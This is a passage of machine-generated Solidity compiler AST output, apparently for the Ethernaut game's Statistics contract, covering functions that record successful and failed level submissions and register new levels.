ref))"}},"id":55897,"indexExpression":{"id":55895,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55780,"src":"4578:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4566:19:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance storage ref)"}},"id":55898,"indexExpression":{"id":55896,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55778,"src":"4586:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4566:26:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"id":55899,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"4593:11:116","memberName":"isCompleted","nodeType":"MemberAccess","referencedDeclaration":55531,"src":"4566:38:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":55900,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"4607:4:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"4566:45:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":55902,"nodeType":"ExpressionStatement","src":"4566:45:116"},{"expression":{"id":55907,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"4621:50:116","subExpression":{"expression":{"baseExpression":{"id":55903,"name":"levelStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55567,"src":"4621:10:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_Level_$55546_storage_$","typeString":"mapping(address => struct Statistics.Level storage ref)"}},"id":55905,"indexExpression":{"id":55904,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55778,"src":"4632:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4621:17:116","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$55546_storage","typeString":"struct Statistics.Level storage ref"}},"id":55906,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"4639:30:116","memberName":"noOfInstancesSubmitted_Success","nodeType":"MemberAccess","referencedDeclaration":55543,"src":"4621:48:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":55908,"nodeType":"ExpressionStatement","src":"4621:50:116"},{"expression":{"id":55910,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"4681:30:116","subExpression":{"id":55909,"name":"globalNoOfInstancesCompleted","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55525,"src":"4681:28:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":55911,"nodeType":"ExpressionStatement","src":"4681:30:116"},{"expression":{"id":55915,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"4721:46:116","subExpression":{"baseExpression":{"id":55912,"name":"globalNoOfInstancesCompletedByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55558,"src":"4721:36:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":55914,"indexExpression":{"id":55913,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55780,"src":"4758:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"4721:44:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":55916,"nodeType":"ExpressionStatement","src":"4721:46:116"}]},"functionSelector":"2c038c32","implemented":true,"kind":"function","modifiers":[{"id":55783,"kind":"modifierInvocation","modifierName":{"id":55782,"name":"onlyEthernaut","nameLocations":["3382:13:116"],"nodeType":"IdentifierPath","referencedDeclaration":55658,"src":"3382:13:116"},"nodeType":"ModifierInvocation","src":"3382:13:116"},{"arguments":[{"id":55785,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55778,"src":"3421:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":55786,"kind":"modifierInvocation","modifierName":{"id":55784,"name":"levelExistsCheck","nameLocations":["3404:16:116"],"nodeType":"IdentifierPath","referencedDeclaration":55619,"src":"3404:16:116"},"nodeType":"ModifierInvocation","src":"3404:23:116"},{"arguments":[{"id":55788,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55780,"src":"3454:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":55789,"kind":"modifierInvocation","modifierName":{"id":55787,"name":"playerExistsCheck","nameLocations":["3436:17:116"],"nodeType":"IdentifierPath","referencedDeclaration":55646,"src":"3436:17:116"},"nodeType":"ModifierInvocation","src":"3436:25:116"}],"name":"submitSuccess","nameLocation":"3294:13:116","parameters":{"id":55781,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55776,"mutability":"mutable","name":"instance","nameLocation":"3316:8:116","nodeType":"VariableDeclaration","scope":55918,"src":"3308:16:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55775,"name":"address","nodeType":"ElementaryTypeName","src":"3308:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":55778,"mutability":"mutable","name":"level","nameLocation":"3334:5:116","nodeType":"VariableDeclaration","scope":55918,"src":"3326:13:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55777,"name":"address","nodeType":"ElementaryTypeName","src":"3326:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":55780,"mutability":"mutable","name":"player","nameLocation":"3349:6:116","nodeType":"VariableDeclaration","scope":55918,"src":"3341:14:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55779,"name":"address","nodeType":"ElementaryTypeName","src":"3341:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3307:49:116"},"returnParameters":{"id":55790,"nodeType":"ParameterList","parameters":[],"src":"3466:0:116"},"scope":56450,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":56000,"nodeType":"FunctionDefinition","src":"4780:719:116","nodes":[],"body":{"id":55999,"nodeType":"Block","src":"4961:538:116","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":55946,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"baseExpression":{"baseExpression":{"id":55936,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55586,"src":"4979:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance storage ref))"}},"id":55938,"indexExpression":{"id":55937,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55924,"src":"4991:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4979:19:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance storage ref)"}},"id":55940,"indexExpression":{"id":55939,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55922,"src":"4999:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4979:26:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"id":55941,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5006:8:116","memberName":"instance","nodeType":"MemberAccess","referencedDeclaration":55529,"src":"4979:35:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":55944,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5026:1:116","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":55943,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5018:7:116","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":55942,"name":"address","nodeType":"ElementaryTypeName","src":"5018:7:116","typeDescriptions":{}}},"id":55945,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5018:10:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"4979:49:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"496e7374616e636520666f7220746865206c6576656c206973206e6f742063726561746564","id":55947,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5030:39:116","typeDescriptions":{"typeIdentifier":"t_stringliteral_ad999a6b6e67c5d98dbb66ebf083cb76499ec79f0a29579ce1b2848f05049822","typeString":"literal_string \"Instance for the level is not created\""},"value":"Instance for the level is not created"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_ad999a6b6e67c5d98dbb66ebf083cb76499ec79f0a29579ce1b2848f05049822","typeString":"literal_string \"Instance for the level is not created\""}],"id":55935,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"4971:7:116","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":55948,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4971:99:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55949,"nodeType":"ExpressionStatement","src":"4971:99:116"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":55958,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"baseExpression":{"baseExpression":{"id":55951,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55586,"src":"5088:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance storage ref))"}},"id":55953,"indexExpression":{"id":55952,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55924,"src":"5100:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5088:19:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance storage ref)"}},"id":55955,"indexExpression":{"id":55954,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55922,"src":"5108:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5088:26:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"id":55956,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5115:8:116","memberName":"instance","nodeType":"MemberAccess","referencedDeclaration":55529,"src":"5088:35:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":55957,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55920,"src":"5127:8:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"5088:47:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"5375626d697474656420696e7374616e6365206973206e6f74207468652063726561746564206f6e65","id":55959,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5137:43:116","typeDescriptions":{"typeIdentifier":"t_stringliteral_c32ce765b34eb024661a2f9bc58aacbdd1f449be52f59754b8fc6259912f52f4","typeString":"literal_string \"Submitted instance is not the created one\""},"value":"Submitted instance is not the created one"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_c32ce765b34eb024661a2f9bc58aacbdd1f449be52f59754b8fc6259912f52f4","typeString":"literal_string \"Submitted instance is not the created one\""}],"id":55950,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"5080:7:116","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":55960,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5080:101:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55961,"nodeType":"ExpressionStatement","src":"5080:101:116"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":55970,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"baseExpression":{"baseExpression":{"id":55963,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55586,"src":"5199:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance storage ref))"}},"id":55965,"indexExpression":{"id":55964,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55924,"src":"5211:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5199:19:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance storage ref)"}},"id":55967,"indexExpression":{"id":55966,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55922,"src":"5219:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5199:26:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"id":55968,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5226:11:116","memberName":"isCompleted","nodeType":"MemberAccess","referencedDeclaration":55531,"src":"5199:38:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"66616c7365","id":55969,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"5241:5:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"5199:47:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4c6576656c20616c726561647920636f6d706c65746564","id":55971,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5248:25:116","typeDescriptions":{"typeIdentifier":"t_stringliteral_543d0362379075e492932c3d227cee52d76dd6bf7a1bf03c2393235ed84c1c17","typeString":"literal_string \"Level already completed\""},"value":"Level already completed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_543d0362379075e492932c3d227cee52d76dd6bf7a1bf03c2393235ed84c1c17","typeString":"literal_string \"Level already completed\""}],"id":55962,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"5191:7:116","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":55972,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5191:83:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55973,"nodeType":"ExpressionStatement","src":"5191:83:116"},{"expression":{"arguments":[{"expression":{"id":55981,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"5330:5:116","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":55982,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5336:9:116","memberName":"timestamp","nodeType":"MemberAccess","src":"5330:15:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"expression":{"baseExpression":{"baseExpression":{"id":55974,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55586,"src":"5284:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance storage ref))"}},"id":55977,"indexExpression":{"id":55975,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55924,"src":"5296:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5284:19:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance storage ref)"}},"id":55978,"indexExpression":{"id":55976,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55922,"src":"5304:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5284:26:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"id":55979,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5311:13:116","memberName":"timeSubmitted","nodeType":"MemberAccess","referencedDeclaration":55538,"src":"5284:40:116","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage","typeString":"uint256[] storage ref"}},"id":55980,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5325:4:116","memberName":"push","nodeType":"MemberAccess","src":"5284:45:116","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_uint256_$dyn_storage_ptr_$_t_uint256_$returns$__$attached_to$_t_array$_t_uint256_$dyn_storage_ptr_$","typeString":"function (uint256[] storage pointer,uint256)"}},"id":55983,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5284:62:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55984,"nodeType":"ExpressionStatement","src":"5284:62:116"},{"expression":{"id":55989,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"5356:42:116","subExpression":{"expression":{"baseExpression":{"id":55985,"name":"levelStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55567,"src":"5356:10:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_Level_$55546_storage_$","typeString":"mapping(address => struct Statistics.Level storage ref)"}},"id":55987,"indexExpression":{"id":55986,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55922,"src":"5367:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5356:17:116","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$55546_storage","typeString":"struct Statistics.Level storage ref"}},"id":55988,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"5374:22:116","memberName":"noOfSubmissions_Failed","nodeType":"MemberAccess","referencedDeclaration":55545,"src":"5356:40:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":55990,"nodeType":"ExpressionStatement","src":"5356:42:116"},{"expression":{"id":55992,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"5408:29:116","subExpression":{"id":55991,"name":"globalNoOfFailedSubmissions","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55527,"src":"5408:27:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":55993,"nodeType":"ExpressionStatement","src":"5408:29:116"},{"expression":{"id":55997,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"5447:45:116","subExpression":{"baseExpression":{"id":55994,"name":"globalNoOfFailedSubmissionsByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55562,"src":"5447:35:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":55996,"indexExpression":{"id":55995,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55924,"src":"5483:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"5447:43:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":55998,"nodeType":"ExpressionStatement","src":"5447:45:116"}]},"functionSelector":"d0f191e0","implemented":true,"kind":"function","modifiers":[{"id":55927,"kind":"modifierInvocation","modifierName":{"id":55926,"name":"onlyEthernaut","nameLocations":["4877:13:116"],"nodeType":"IdentifierPath","referencedDeclaration":55658,"src":"4877:13:116"},"nodeType":"ModifierInvocation","src":"4877:13:116"},{"arguments":[{"id":55929,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55922,"src":"4916:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":55930,"kind":"modifierInvocation","modifierName":{"id":55928,"name":"levelExistsCheck","nameLocations":["4899:16:116"],"nodeType":"IdentifierPath","referencedDeclaration":55619,"src":"4899:16:116"},"nodeType":"ModifierInvocation","src":"4899:23:116"},{"arguments":[{"id":55932,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55924,"src":"4949:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":55933,"kind":"modifierInvocation","modifierName":{"id":55931,"name":"playerExistsCheck","nameLocations":["4931:17:116"],"nodeType":"IdentifierPath","referencedDeclaration":55646,"src":"4931:17:116"},"nodeType":"ModifierInvocation","src":"4931:25:116"}],"name":"submitFailure","nameLocation":"4789:13:116","parameters":{"id":55925,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55920,"mutability":"mutable","name":"instance","nameLocation":"4811:8:116","nodeType":"VariableDeclaration","scope":56000,"src":"4803:16:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55919,"name":"address","nodeType":"ElementaryTypeName","src":"4803:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":55922,"mutability":"mutable","name":"level","nameLocation":"4829:5:116","nodeType":"VariableDeclaration","scope":56000,"src":"4821:13:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55921,"name":"address","nodeType":"ElementaryTypeName","src":"4821:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":55924,"mutability":"mutable","name":"player","nameLocation":"4844:6:116","nodeType":"VariableDeclaration","scope":56000,"src":"4836:14:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55923,"name":"address","nodeType":"ElementaryTypeName","src":"4836:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"4802:49:116"},"returnParameters":{"id":55934,"nodeType":"ParameterList","parameters":[],"src":"4961:0:116"},"scope":56450,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":56023,"nodeType":"FunctionDefinition","src":"5505:159:116","nodes":[],"body":{"id":56022,"nodeType":"Block","src":"5594:70:116","nodes":[],"statements":[{"expression":{"id":56014,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":56010,"name":"levelExists","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55594,"src":"5604:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":56012,"indexExpression":{"id":56011,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56002,"src":"5616:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"5604:18:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":56013,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"5625:4:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"5604:25:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":56015,"nodeType":"ExpressionStatement","src":"5604:25:116"},{"expression":{"arguments":[{"id":56019,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56002,"src":"5651:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":56016,"name":"levels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55521,"src":"5639:6:116","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":56018,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5646:4:116","memberName":"push","nodeType":"MemberAccess","src":"5639:11:116","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_address_$dyn_storage_ptr_$_t_address_$returns$__$attached_to$_t_array$_t_address_$dyn_storage_ptr_$","typeString":"function (address[] storage 